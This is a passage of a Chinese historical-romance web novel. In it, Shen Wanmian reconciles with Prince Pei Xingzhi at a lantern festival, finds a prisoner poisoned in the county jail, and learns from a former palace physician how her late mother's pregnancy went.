她气势汹汹地往静月轩赶。 却被李茵茵拦住了脚步。 “到我那里坐会儿吧，我有话想跟你讲。” …… 沈晚眠轻抿一口丫鬟递上的茶。 脑子里却在盘算回京的事。 李茵茵坐在她对面，也不说话，只一味盯着她看。 沈晚眠被她盯的有些发毛。 “姨母找我来，可是有事？” 李茵茵突然笑了。 “先前我觉得，你压根不像园园的孩子，她那么谦和，温柔，少言少语，怎么能生出你这样巧言令色，性格叛逆乖张，满身都是反骨的孩子？” “不过今日，我突然发现，你和她真是像。” 沈晚眠有些诧异，她没想到李茵茵会对她说这些。 她以为李茵茵是想感谢她救了李悦茹。 “姨母觉得哪里像？” 李茵茵嗤笑一声。 “你嘴上喊着“姨母”，“外祖母”，“舅舅”，其实心里压根就不认我们，对吧？” 沈晚眠抿了抿嘴，她说的没错。 自己就是不认她们。 不管是前世还是今生，她从来没有原谅过她们。 “你对我们说的每一句话，哪一句是出自真心的呢？或者说，你平时说的话做的事，有多少是出自本心的呢？” 李茵茵将胳膊抬到桌面上，用手抵着下巴。 意味深长的看着她道。 沈晚眠莞尔一笑：“姨母这是何意？” 把她叫过来，是为了找她茬的吗？ 李茵茵叹息着摇了摇头，脸上的笑意却丝毫未减。 “你啊，和我那个小妹一模一样，又胆小又多思。” 胆小？她说的话，做的事，有哪一件能和胆小挂上钩？ “记得园园小的时候，总是不敢将自己的心意宣之于口，母亲带我们兄妹去街上玩，我和兄长想要什么都会和母亲撒娇，就算母亲拒绝了，我们也会想方设法的缠着母亲给我们买。” “但园园不一样，她总是怯怯的站在一旁，看着我们撒泼，从来不会主动跟母亲提，自己想要什么。” 李茵茵的话让沈晚眠想到母亲故意留下的那个本子。 是啊，母亲是这样的，就连思念，她都要用这种方式表达。 第123章 挽留 “长大后的她，亦是如此，从来不肯轻易相信别人，她总是习惯性的悲观，习惯性的将事情往最坏处想，然后自己一人默默承受所有，从来不跟我们讲她的心事，好像除了她自己，没人能走进她的心。” “你还觉得，自己和她不像吗？” 李茵茵挑了挑眉，颇有打趣的意味。 沈晚眠沉默了，自己真的是这样的吗？ “你舅舅这个人天生一副臭脸，说话冲，脾气倔，做事一板一眼，他说的话，你就当没听过就行。” “姨母找我来，到底所为何事？” 沈晚眠实在不想听她再扯这些有的没的。 她还有很多事需要处理。 离开扬州之前，她得去趟徐家，还得去趟孙家。 还得将孙建的事处理了。 最重要的是，刚入股的满月楼她走之前得去瞧瞧。 还有，刚才为李悦茹看病的老大夫。 在她的记忆中，自己与这位老大夫，从未有过交集。 为何他会对自己说那样的话？ 她有必要去拜访一下，说不定，会有意外收获。 沈晚眠在心里。默默安排好了所有事，只等李茵茵放她离开。 “我想你能留下来，悦茹很喜欢你，我希望你能多陪她几日，至少要等到一切尘埃落定……” 提到女儿，李茵茵正了正神色，眉宇间尽是愁容。 沈晚眠微微起皱眉：“您指的那日的当街刺杀，还是蒋重明？” 李茵茵诧异道：“你怎么知道蒋重明？” 这件事她什么时候知道的？她都知道了，那悦茹是不是也…… 沈晚眠没接她的话，她不想浪费口舌。 “您先回答我的问题。” 算了，她原本也没打算瞒着沈晚眠。 “二者都有，小文的事还没有结束，我怀疑她和蒋奋有联系，不过目前还没找到证据，至于蒋重明……” 李茵茵愁容更甚。 “等悦茹醒好些了，我便让她暂时离开扬州，出门散散心，等这些糟心事有了定论，再将让她回来。” 沈晚眠直视着李茵茵的眼睛，发出灵魂的拷问。 “如果李悦茹真不是你亲生的，蒋重明才是你的亲儿子，你会将手中的家产交给蒋重明吗？” 李茵茵没有丝毫犹豫：“不会，那些只能是悦茹一个人的。” 李茵茵的这句话，让她心里有些动摇。 “我知道，以你现在的处境，就算离开扬州，也无处可去，不如就陪悦茹到处走走。” 李茵茵的话十分直白，但沈晚眠知道，她的话都是事实。 原本她还能在宫中混口饭吃。 结果硬生生被三个男人堵住了。 她和沈知舟，苏倩儿闹到那般地步。 沈家她也回不去了。 现在的她，当真要沦落到流落街头。 但若是陪李悦茹，她母亲的事又…… “别的你不用担心，你要做的事言初都告诉我了，我在京城有几个朋友，我已经托他们打听孙文的旧事了，一有消息，我便通知你。” 李园园不仅是沈晚眠的母亲，更是她李茵茵的妹妹。 沈晚眠有些错愕。 随即又恢复了平静。 李悦茹能拿出李家印信帮自己，背后肯定是有李茵茵的默许。 看来李家也没她想的这么坏。 “好，我答应你，不过我得赶在年前回去，沈知舟不日就要回京，我想让母亲过个好年。” 事情已经拖了够久，她不想再让母亲继续等了。 李茵茵点点头：“我会尽快处理好，不会耽误你的事。” 和李茵茵达成一致后，沈晚眠便回了静月轩。 看到阿烟和吉祥嬉闹，她突然有了主意。 “阿烟，你过来，我跟你说点事。” 沈晚眠故意避开吉祥，拉着阿烟到了无人处。 “什么事啊？吉祥不能知道吗？” 阿烟好奇问道。 小姐究竟要做什么事？还要瞒着吉祥。 沈晚眠有些不自然道：“那个……我想见裴行止，你帮我给他传个话……” 孙建是个大活人，她总不能一直囚禁他。 可也不能把他放了，他要是出去了，准去官府告她。 得想个法子让他永远消失，但又不能杀了他。 只能求助于神通广大的宸王殿下。 “对了，别告诉吉祥，一定要瞒着她。” 她和裴行止的事要是被吉祥知道了。 这丫头不得跟她闹翻天。 阿烟露出一抹迷之微笑。 “明白。” 看来她两头跑的日子，就要结束了。 阿烟“咻”的一下离开了，沈晚眠上一次见她跑的这么快，还是在追春桃的时候。 想到春桃，她又想起那天街上发生的事。 也不知这个案子查的怎么样了。 对方八成是冲着李悦茹去的，应该和她们无关。 等待会见了裴行止，问问他吧。 吉祥见阿烟跑的这么快，还以为又出什么事了。 沈晚眠一回来，她便担忧上前道：“小姐，怎么了，又出事了？” 沈晚眠心虚的一双眼睛乱瞟。 “没有啊，没事……你别瞎操心了，快去忙你的吧。” 打发走吉祥，屋里只剩沈晚眠一人。 她看着铜镜中的自己，莫名有些焦虑。 许是水土不服的缘故，她脸上生了两颗桃花疮。 她用手摸了摸，硬硬的，还有点疼。 估计这几日是消不了了…… 半个时辰后，阿烟回来了。 不过她没去找沈晚眠，而是去到厨房，和正在做点心的吉祥挤在一处。 吉祥嫌弃道：“你干嘛？快出去。” 阿烟没话找话道：“吉祥啊，你在干嘛呢？” 正在和面的吉祥：“……” 阿烟也意识到自己的胡言乱语，她尴尬的挠了挠头。 “哈哈，原来是在做点心，你这手艺不错啊，跟谁学的？” 吉祥虽然不想搭理她，但还是非常有礼貌的回了一句：“我家小姐。” 阿烟装作很震惊的样子：“是吗？小姐好厉害啊，哈哈……” 吉祥更无语了：“你不是吃过小姐做的点心吗。” 阿烟干笑两声，赶紧结束了这令人窒息的话题。 “我来帮你吧正好我也没事。” 阿烟就要上手，被吉祥一巴掌拍开了“魔爪”。 “你别捣乱了，小姐不是交代你去做别的事了吗，你做完了？” 吉祥拈酸带醋道。 第124章 合作 阿烟的表情，明显变得僵硬。 “哈哈，当然做完了。” “既然做完了，为何不来找我回话。” 沈晚眠人未到声先至。 她趴在厨房的门口，不解的看向阿烟。 阿烟僵硬的转过身，脸上挤出一抹略带尴尬的笑意。 “哈哈，小姐，您来了……” “既然回来了，为何不找我回话？” 见阿烟遮遮掩掩，沈晚眠心中隐隐有了猜测。 “怎么？他不想见我？” 阿烟慌乱的紧摆手，赶紧解释道：“不是的小姐，您误会了，殿下他……他今日不方便……” 不知道发生了何事的吉祥听到“殿下”二字，两眼瞬间放光。 “什么不方便？小姐，你和殿下……” 吉祥故意拉长尾音，八卦之意怎么都藏不住。 沈晚眠迟迟未回话，吉祥按耐不住八卦的心，戳了戳阿烟。 “什么事啊，阿烟？” 对上吉祥那双无辜又清澈的眸子，阿烟忍住想敲她脑袋的冲动。 难道她看不出，气氛不对吗？ 阿烟咬牙切齿道：“闭嘴吧你。” 沈晚眠未变，只挑了挑眉，留下一句“我知道了”，便离开了。 “到底发生何事了？你快说啊？” 吉祥有些着急的晃了晃阿烟的胳膊。 阿烟假笑着对着她勾了勾手指。 “你把头凑近一些，我悄悄告诉你。” 吉祥傻呵呵的把脑袋凑过去，阿烟抬手就是一个脑瓜崩。 弹的吉祥嗷嗷叫。 “你干嘛！” “好好做你的点心吧，别瞎打听。” 说完这句话，阿烟便去追沈晚眠。 只留委屈的吉祥独自一人在原地生气。 阿烟一路追至沈晚眠房间，嘴上还不停的为裴行止解释。 “小姐，您真的误会了，不是殿下不来，是……是季公子不让他来……” 沈晚眠提笔的动作一顿。 “季少渊，他来扬州了？” 阿烟点点头：“对，就是他，说殿下太上赶着了，说他掉价，说他没骨气，还说你脾气太坏，还拦着殿下不让他来。” 阿烟将所有的事都推到季少渊身上。 没办法，为了殿下，只能让季少渊扛下所有…… 沈晚眠才不信阿烟的话。 若裴行止真的想来见她，怎么会被季少渊几句话说动。 季少渊要是能拦住他，那才见鬼了。 “他来做什么？” 沈晚眠挽起袖子，继续刚才的动作。 “说是来陪殿下过年，实际上就是在官场上混不下去了，又缠上殿下了。” 阿烟愤愤不平道。 看来两位公主“争驸马”的事对他打击不小。 裴汐和危机解除，早就不继续胡闹。 裴舒妍又有了“新欢”，直接将他抛在脑后。 他刚上任就被两位公主哄抢，已是众人眼中钉。 如今两位公主都将他抛弃，那些看他不爽之人可不就都涌上来了。 好端端的一位未来的国之栋梁，就这么被毁了，真是可叹。 不过她也只叹息了片刻，谁让上一世他天天骂自己，该。 沈晚眠将写好的信用信纸封好。 随后递给阿烟。 “将这封信交给裴行止，顺便帮我问问季少渊，有没有兴趣跟我合作。” 沈晚眠知道，上次在衙门里，她做的有些过分。 他有些脾气是正常的。 “什么合作啊？” 阿烟好奇道。 沈晚眠神秘一笑：“秘密。” 阿烟猜不透她的心思，便专心干好自己的事。 裴行止收到信时，心情还是很激动的。 他以为沈晚眠还像在猎场那样，想方设法求他原谅。 可看清信上的内容后，表情却凝固了一瞬。 “后日花灯节，若不见君，此生也不必相见。” 一旁的季少渊凑上前想看看信上的内容。 裴行止赶紧将信藏到身后。 动作快的都出了残影。 季少渊好奇道：“她写的啥啊？” 裴行止脸不红心不跳：“邀我共赴花灯节。” 不管怎么说，她都给了自己台阶下，她还是爱自己的。 “怎么样，我说的没错吧，就得晾着她才行。” 季少渊得意的笑道。 阿烟瞧见他这副模样就来气，要不是他挑拨，殿下和小姐早就见上面了。 “季公子这么懂，怎么还接连被两位公主抛弃？您还是先顾好自己吧。” 阿烟的话狠狠刺痛了季少渊的心。 他气的都要跳脚：“裴七，你瞧瞧，阿烟以前多听话，现在都被沈晚眠带成什么样了，你也不管管。” 裴行止在心里默默为阿烟点赞。 都怪他乱出主意。 本来自己占上风，这么一闹，自己倒成被动的那一方。 他故作严肃的咳嗽两声。 “行了，阿烟回去吧，保护好她。” 阿烟刚想离开，想到沈晚眠的话又不得不跟季少渊带话。 她不耐烦的对季少渊道：“小姐还有一句话让我带给季公子。” “季公子”三个字，被她咬的格外重。 季少渊有些意外：“什么？” “小姐问你有没有兴趣跟她合作。” 几乎是瞬间，季少渊就答应下来。 “我愿意！” 他回话的速度快的令人意外。 阿烟和裴行止，不约而同的问道：“合作什么？” 季少渊目光飘忽道：“秘密。” 自从被两位公主“抛弃”后，他在官场上到处受人排挤。 如今几乎已经成了“废官”。 感情和仕途的双重打击下，他不由得开始思考，自己以后的路该怎么走。 沈晚眠的话他一直记在心上。 她可是江南第一富商家的后代，肯定有些经商头脑。 再不济，她也背靠李家，跟着她混总归不会亏了自己。 裴行止威胁道：“不说就滚回京城去。” 他们俩都没见过几面，怎么还有了秘密？ 阿烟也很好奇到底是什么事，两人还都说是秘密。 季少渊败下阵来，只好将秋猎场上沈晚眠跟他说的话都讲了出来。 裴行止听后有些意外。 她还想做生意？ 她这兼顾的也太多了吧，难怪没空搭理自己。 阿烟也和裴行止一样的心思。 李家都快乱成一锅粥了，而且小姐调查的事还没有着落。 她还能分心想着做生意的事。 简直强的可怕。 阿烟回来后，刚好看见吉祥在暗暗怄气。 她知道吉祥在气什么。 无非是小姐有事瞒着她。 第125章 破冰 阿烟便起了坏心思，想逗逗吉祥。 “吉祥，你知道小姐还有别的事瞒着你吗？” 吉祥扭过头，不想搭理阿烟。 阿烟却继续刺激她道：“小姐想做生意，你不知道吧。” 听到阿烟的话，吉祥傲娇的转过头。 “知道啊，小姐和都入股赵钱的酒楼了，你不知道吧。” 阿烟表情一滞，她本想戏弄吉祥。 没想到吉祥知道这件事，还反被她将了一军。 看到阿烟吃瘪的模样，吉祥瞬间就不气了。 嘴里哼着曲子继续做点心。 阿烟自讨没趣，便灰溜溜的去寻沈晚眠。 “如何，季少渊怎么说？” 沈晚眠先问了季少渊的情况。 阿烟点点头道：“他同意了。” 她就知道，季少渊一定会同意。 这样一来，满月阁那边就有了她自己的人。 “好，你再帮我把这封信送给季少渊。” 沈晚眠又拿出一封信。 阿烟来回跑了四趟，真的有点身心俱疲。 她苦着一张脸道：“小姐，要不我带您去找他们吧，您有什么话当面跟他们讲清楚，您这一趟又一趟，何时是个头。” 沈晚眠摇了摇头：“不行，你不懂，你若不愿我让吉祥去送。” 如今她和裴行止，谁先低头就是谁先认输。 她已经让了一步，绝不会先去见他。 阿烟不懂，但阿烟照做。 没办法，为了殿下和小姐的未来，不过是多跑一趟传个信…… 阿烟离开后，吉祥板着脸端着刚做好的点心走了进来。 她重重的将点心放到桌子上。 沈晚眠趴在桌子上，用胳膊撑着下巴。 她歪着头，笑着看着吉祥。 “生气啦？” 吉祥不看她，直接一屁股坐在凳子上，拿起一块点心狠狠咬了一口。 沈晚眠见状笑意更甚。 她也拿了一块糕点，学着吉祥的样子咬了一口。 “啧，没我做的好吃。” 吉祥像是没听到一般，依旧不为所动。 “好啦，我不是故意要瞒着你，我是怕你知道了会多想，才没跟你说。” 吉祥很想反驳，自己会多想什么。 但她回忆起秋猎时她的表现。 好像明白了自家小姐为何会瞒着自己。 但她还是咽不下那口气。 “不就是不信任我吗。” 吉祥气鼓鼓的又咬了一口点心。 沈晚眠被她逗的直接笑出声。 “哪里不信任你了？” 沈晚眠的笑让吉祥更加恼火。 小姐还笑！有什么好笑的，她生气就这么好笑？ “您自己说，您要找宸王殿下为何要瞒着我，您找他到底要做什么？阿烟可以知道为何我不能知道？” 吉祥气的说话都颠三倒四。 沈晚眠赶紧顺毛道：“咱们总不能关孙建一辈子，我是想让他帮咱把孙建处理了。” 吉祥听了沈晚眠的话直觉理亏。 她也不说话，直接起身就往外走。 沈晚眠无奈的摇摇头。 吉祥这脾气，也不知怎么就越来越大了。 …… 一转眼，便到了花灯节当晚。 江南的冬夜，薄雾轻笼，似一层素纱。 给这原本就柔美的水乡更添了几分朦胧的诗意。 花灯会的热闹，在这清冷的冬夜中显得格外温暖。 一盏盏形态各异的花灯，或如飞禽走兽，或似繁花绽蕊，被高高挂起，将夜映照成五颜六色。 裴行止一袭玄色锦袍，身姿挺拔，在人群中格外显眼。 他望着身旁不说话的沈晚眠，眸光中藏着一丝急切与无奈。 沈晚眠身着鹅黄色袄裙，外披一件白色的披风，娇俏明艳。 二人虽并肩走着，却彼此沉默。 脚下的青石板路，在花灯的映照下，泛着微微的光。 空气中弥漫着淡淡的烟火气，与人群中传来的欢声笑语交织在一起。 路过一个卖兔子灯的小摊，沈晚眠的目光不自觉地被吸引过去，脚步也慢了下来。 她记得李悦茹那日让阿鸢取的花灯，和眼前这个很像。 这两日李悦茹迟迟未醒，大夫看了说是心病，是她自己不愿醒。 虽然她不知那一夜李悦茹究竟经历了什么。 但如果她醒了，看到花灯，也会高兴的吧。 裴行止注意到她的停留，意识到自己的机会来了。 他赶紧上前，拿起一盏精致的兔子灯，递到她面前。 “给你……”裴行止的声音有些生硬，带着一丝不自然。 沈晚眠犹豫了一下，还是接过了兔子灯 板着脸道了句：“谢谢。” 两人又陷入了沉默，可气氛却不再如之前那般僵硬。 裴行止偷偷瞥了眼沈晚眠，见她轻轻抚摸着兔子灯，神情柔和了许多，心中不由得一松。 他们继续往前走，穿过熙熙攘攘的人群，来到了河边。河面上，漂浮着许多水灯，星星点点，如梦如幻。 眼前的场景，让二人不自觉想到之前在京城郊外，他们也似这般。 “其实……”沈晚眠终于打破了沉默，“那日是我不好，不该与你置气。” “不，是我错了。” 裴行止上前一步，眼中满是认真。 “出了事，我没能第一时间出现，是我不好。” 那日在衙门，沈晚眠离开后，县令将一切告知他后。 他才知道她都经历了什么。 如果死的不是李府的丫鬟，而是吉祥。 他不敢想她会伤心成什么样子…… “行吧，我原谅你了。” 沈晚眠“勉为其难”道。 裴行止愣了一下，随即二人相视一笑。 “对了，那件事查的怎么样了？” 被裴行止这么一说，她又想起了那日一连串发生的事。 她总感觉哪里不对，但又说不上来。 “此事不简单，目前得出的结论是蒋奋与西瀛人勾结，他想让西瀛卧底帮他杀了李悦茹，结果阴差阳错杀错了人。” 沈晚眠还是觉得不对。 “蒋奋如何得知李悦茹的行踪？如果是李悦茹身边有蒋奋的人，为何连她改变行踪都不能告知？” 裴行止对此事并没多上心，他的重点在西瀛卧底身上。 他听阿烟说了，沈晚眠并不喜欢李家。 他也没必要为此分神。 “这……”裴行止犹豫道。 “不如我们去见见蒋奋。” 沈晚眠提议道。 她见过蒋奋，知道他并不难对付。 如果能当面质问，定能套出些线索。 第126章 卧底 裴行止却有些不情愿。 好不容易才能见一面。 他只想好好约会。 “怎么，你不愿意？”沈晚眠问道。 “不，不，我愿意。” 裴行止哪里还敢在忤逆她的话。 二人来到府衙。 县令听到消息赶紧出来迎接。 “殿下大驾光临，下官有失远迎，还请殿下恕罪。” 宸王怎么大晚上突然来了，他身边的……不正是那日给宸王甩脸子的沈二小姐。 沈晚眠有些意外，没想到大晚上的，县令还在府衙当值。 “无妨，本王也是临时起意。” 县令擦了一把额头上的汗，赔笑道：“二位是来……” “前几日李家的案子，可破了？”沈晚眠直接问道。 “巧了不是，李二家主刚来问过，还去地牢里见了蒋奋，她刚走，您就来了。” 沈晚眠有些诧异。 姨母刚才来过？ “我也想见见蒋奋。” 县令犹豫了一下。 “地牢阴暗肮脏，小姐千金之躯，怎能踏足？” “这样吧，下官先跟您讲讲这个案子如今的进展，您再决定要不要去。” 沈晚眠不置可否。 县令自顾自讲了起来。 “那日沈小姐的丫鬟提供的证词，其实有些地方是错的，不过人在极度恐慌紧张的状态下，记忆发生错乱是正常的。” 沈晚眠微微皱起眉，刚发生的事也能记错吗？ “那日她们去店里取花灯，李小姐的花灯并非是打包好的，我们问过店家，那花灯是死者主动要求包起来的，除了客人要求，他们一般不为客人打包。” 沈晚眠听的云里雾里。 “这和案子有什么干系？” 县令解释道：“我们猜测，凶手并不知道自己的目标是谁，而是通过花灯认人，当时您的丫鬟也说了，凶手一开始是冲着她去的，后来看到她头上的发簪，才改变了目标。” “应是看到她手里提着花灯，凶手才将她当成了目标。” 沈晚眠这下算听明白了。 “大人是说，阿鸢知道有人要杀提着花灯的人，才让店家将花灯包起来？” 县令点点头，从柜子里找出一封信。 “二位请看，这封信是从死者房里搜到的，很明显是蒋奋写的。” 沈晚眠接过信，还真是蒋奋的落笔。 “所以大人的意思是，阿鸢是蒋奋在李家的卧底？” 怎么会如此巧，李家这么多下人，李悦茹随手指的丫鬟，就是蒋奋的人。 “既然她是卧底，为何不提前告知蒋奋李悦茹改变了行踪？” 县令摇了摇头。 “这我们无从知晓，或许是来不及，只得想法子避开凶手的刺杀，将祸水引到别人身上。” 沈晚眠还是觉得不对，但目前的线索的确是这样。 她看了裴行止一眼，对方眼里也带着不解。 裴行止也觉得，此事未免太巧，太牵强。 “烦请大人带我去地牢见蒋奋。” 阿鸢已经死了，她那里已经得不到有用的线索。 但蒋奋还活着，这件事的真相，只有他知道。 夜幕如墨，浓稠的黑暗仿佛能将人吞噬。 县令提着一盏摇曳的风灯，走在前头，灯光在潮湿的石道上投下斑驳的光影。 二人并肩跟在县令身后，脚步沉稳。 地牢内弥漫着一股令人作呕的腐臭气息，混合着潮湿的味道，直钻鼻腔。 昏暗的光线中，能看到墙壁上爬满了青苔，地面上积着一滩滩污水。 他们沿着狭窄的石阶下行，每一步都伴随着轻微的回声。 终于，来到了关押犯人的牢房前。 县令皱着眉头，用风灯照亮铁栏内的情况。 裴行止和沈晚眠对视一眼，眼神中都闪过一丝警惕。 然而，当他们看清牢房内的景象时，皆微微一怔。 蒋奋瘫坐在地上，头无力地耷拉着，双眼圆睁，却已没了生气。 他的嘴角挂着一丝诡异的笑容，面色呈现出一种青紫色，显然是刚死不久。 身上的囚服凌乱不堪，几处破口处露出苍白的皮肤，上面隐隐有一些乌青的痕迹。 县令的脸色瞬间变得煞白，手中的风灯险些掉落。 “这……这是怎么回事！” 他的声音带着一丝颤抖，在寂静的地牢中格外刺耳。 裴行止上前一步，仔细观察着犯人的尸体。 “从死状来看，似乎是中毒而亡。” 他的声音低沉而有力，在这阴森的地牢中，给人一种莫名的安全感。 沈晚眠冷哼一声。 “中毒？看样子有人不想让他开口。” 县令额头上冒出了冷汗，哆哆嗦嗦地说道：“这可如何是好。” 他战战兢兢的看向裴行止。 这位一句话便能让他的乌纱帽不保。 裴行止看了县令一眼，沉声道：“当务之急，是先查明真相，找出凶手。” 说罢，他再次将目光投向蒋奋，似乎想要从这具冰冷的尸体上找到更多的线索。 “殿下，下官刚才也跟您二位说了，最后见他的是……” 县令有些为难道。 “不可能！我姨母不会用这种下作手段杀人。” 沈晚眠的声音冷静而克制。 她知道，李茵茵若是想要杀了蒋奋，早就动手了。 裴行止冷冷扫县令一眼，县令赶紧恭敬的改口。 “您说的对，绝对不是二家主干的，恐怕衙门混进了西瀛人的奸细，下官一定尽快找出凶手。” 既然蒋奋与西瀛人勾结。 他下了狱，西瀛人怕他说了什么不该说的。 会将他灭口也很正常。 不过可惜，蒋奋死了，那件事的线索也断了。 也罢，总归这件事与她无关。 吉祥也没受到什么实质性的伤害。 她还是先顾好自己的事吧。 沈晚眠放下了执念，裴行止却开始重视起这件事。 他眉头紧紧锁着，心里十分烦闷。 想不到西瀛卧底竟然能无法无天到这种地步。 这也说明了他们在扬州的势力不容小觑。 他来扬州城也有些日子了。 刚开始还能寻到些蛛丝马迹。 现在竟是一点线索都寻不到了。 再这样下去，他还有何脸面回京？ “殿下，我识得一位厉害的大夫，不妨让他帮忙探探，蒋奋中的什么毒。” 想验尸是假的，想去拜访老大夫才是真的。 第127章 医馆 沈晚眠假笑着看向裴行止。 她的“命令”裴行止哪里敢拒绝。 “好，都听你的。” 二人离开了潮湿阴暗的地牢。 一阵阴风刮过，沈晚眠忍不住打了个寒战。 裴行止见状赶紧将身上的披风解下，披在她肩上。 沈晚眠瞬间被温暖包围。 她拢了拢这件足以将她整个人笼罩住的狐皮大氅。 十分自然的挽上身边人的胳膊。 裴行止身体一僵，走路都乱了分寸。 察觉到他的变化，沈晚眠噗嗤一声笑出声。 虽然如今的她比裴行止小四岁。 但她总觉得自己在占他的便宜。 总觉得自己在老牛吃嫩草。 不过那又怎样，她都活了两世了。 吃点好的怎么了。 想到这里，她踮起脚尖，亲了一口裴行止的脸颊。 这下裴行止更不淡定了，整个人如同熟透的虾一般，从脖子红到耳尖。 见他这副羞怯模样，沈晚眠感觉自己像村口的小混混，调戏良家妇男。 县令看着二人逐渐远去的背影。 脸上的表情变得凝重。 事情变得越来越棘手了…… 二人来到上次给李悦茹看病的老大夫的医馆门前。 沈晚眠朝裴行止使了个眼神。 后者立马上前去敲门。 过了一会，一个学童模样的小郎君揉着眼睛从门缝中探出头。 “谁啊，今日闭馆了，明日再来吧。” 学童打着哈欠说道。 沈晚眠上前一步。 “请问送宋先生在吗？” 根据吉祥打听来的消息，她知道了老大夫姓宋。 学童有些不耐烦。 “都说了明日再来，先生已经歇下了。” 这时，屋里传来老大夫的声音。 “让她们进来吧。” 二人迈步进了医馆，医馆内烛火摇曳，一股药香味扑面而来。 学童将二人带到屏风后的隔间坐下。 老大夫伸着懒腰从一旁的房间里走出。 但在看到裴行止的那一刻，吓得老大夫睡意全无。 “你……你是……七皇子！” 老大夫不敢相信自己的眼睛，怀疑莫非是出了幻觉？ 他揉了揉眼，小心的来到裴行止身旁，对着他上下一通打量。 裴行止隐隐约约间好像记得曾在皇宫见过他。 “您是……宋太医？” 老大夫这下确定了，眼前的人就是七皇子。 他赶紧躬身行礼：“草民见过七殿下，不知殿，下此番前来所为何事？” 学童整个人都傻了。 他呆呆地立在一旁，不知所措。 这是皇子？京城的皇子？ 他刚才都对皇子说了什么？！ 老大夫见学童傻站着，赶紧拉了他一把。 学童这才回过神，他战战兢兢的学着老大夫的模样向裴行止行礼。 总听先生说自己曾经是宫里的太医，他还不信，全当先生在吹牛。 如今看来，先生说的竟然都是真的！ “先生不必多礼，此番前来，是有些往事想要请教先生。” 在来的路上，沈晚眠已经将那日老大夫在李府对她说的话，跟裴行止说了。 也把这些日子，她查出的事一五一十告诉了他。 裴行止听后，也觉得事情古怪得很。 沈夫人去世时，他年纪还小，很多事他都记不清了。 但有一件事，令他印象深刻。 那日大皇兄带着他和几个皇兄皇姐出去玩，说沈太傅的夫人去世了，沈太傅定会告假在家。 这几日的课肯定没功夫上了。 结果等他们回来后，全都被父皇叫到养心殿，狠狠数落了一通。 原来沈太傅压根就没想大皇兄说的那样，告假在家。 等他去授课时发现竟然空无一人。 接着他便告到了父皇那里。 他还记得当时沈太傅的神情，平静，冷淡。 压根不像夫人刚去世的模样。 “殿下请问，草民必定知无不言。” 沈晚眠与裴行止对视一眼，裴行止对着她点了点头。 “先生，您那日在李家对我说的话是什么意思？” 老大夫有些犹豫的捋了捋胡子：“这……” “先生有话直说就是。” 有了裴行止这句话，老大夫便没了顾虑。 “好吧，我本以为沈夫人那胎生不下来，没想到沈二小姐竟然都长这么大了，所以才有些感叹。” 看来苏倩儿说的是真的，母亲就是为了生她才…… 沈晚眠强忍下翻涌的悲伤：“我母亲在怀我时，您为她瞧过病？” 老大夫点点头，叹息道：“当年沈夫人受到冲撞，差点流产，沈太傅连夜将我从宫中接到沈府，提沈夫人稳固好胎像后，我发现她脉象虚浮，身体严重亏空，我便劝沈夫人，此胎留不得，不然恐怕会伤及她的性命。” “但沈夫人像是没听到我说的话一般，只神情哀伤的望着远处，我察觉到，她的身体是忧思过度，郁结于心所致，便将此事跟沈太傅说了，沈太傅对此并未在意，只向我求了安神的方子便将我送走了。” “后来我又被沈太傅请去沈府几次为沈夫人安胎，我发现沈夫人的心结似乎更重了，身体也是亏空的厉害，便劝沈太傅让夫人将此胎落了吧，哪知他压根不听劝，之后……” 老大夫讲到这里，突然顿住了，他小心翼翼的问道：“沈二小姐，您和沈太傅的关系？” 沈晚眠低下头敛下眉睫。 声音轻而缓道：“他是我的父亲。” “但也只是我的父亲……” 老大夫明了，就是关系不怎么好呗。 “之后有一次我在酒馆喝酒，一不小心吐露了一些真心话，呃……大概就是说沈太傅，薄情之类的……” 讲到这里老大夫有些不好意思的挠了挠头。 “被有心人听去告到了沈太傅那里，在那之后我便被革职了，后来我就来了扬州，沈太傅家的事，我也就没听说了。” 沈晚眠没想到，原来大名鼎鼎的“江南神医”，竟是因替她母亲抱不平才被革职。 “对了，沈夫人她……” 当年李家将李园园的事全都压下。 老大夫也是初到扬州，并不知晓沈夫人就是李家的女儿，自然也就不知道李园园的死讯。 “母亲在生下我的那天，便撒手人寰了……” 提到母亲的死，沈晚眠的声音忍不住颤抖。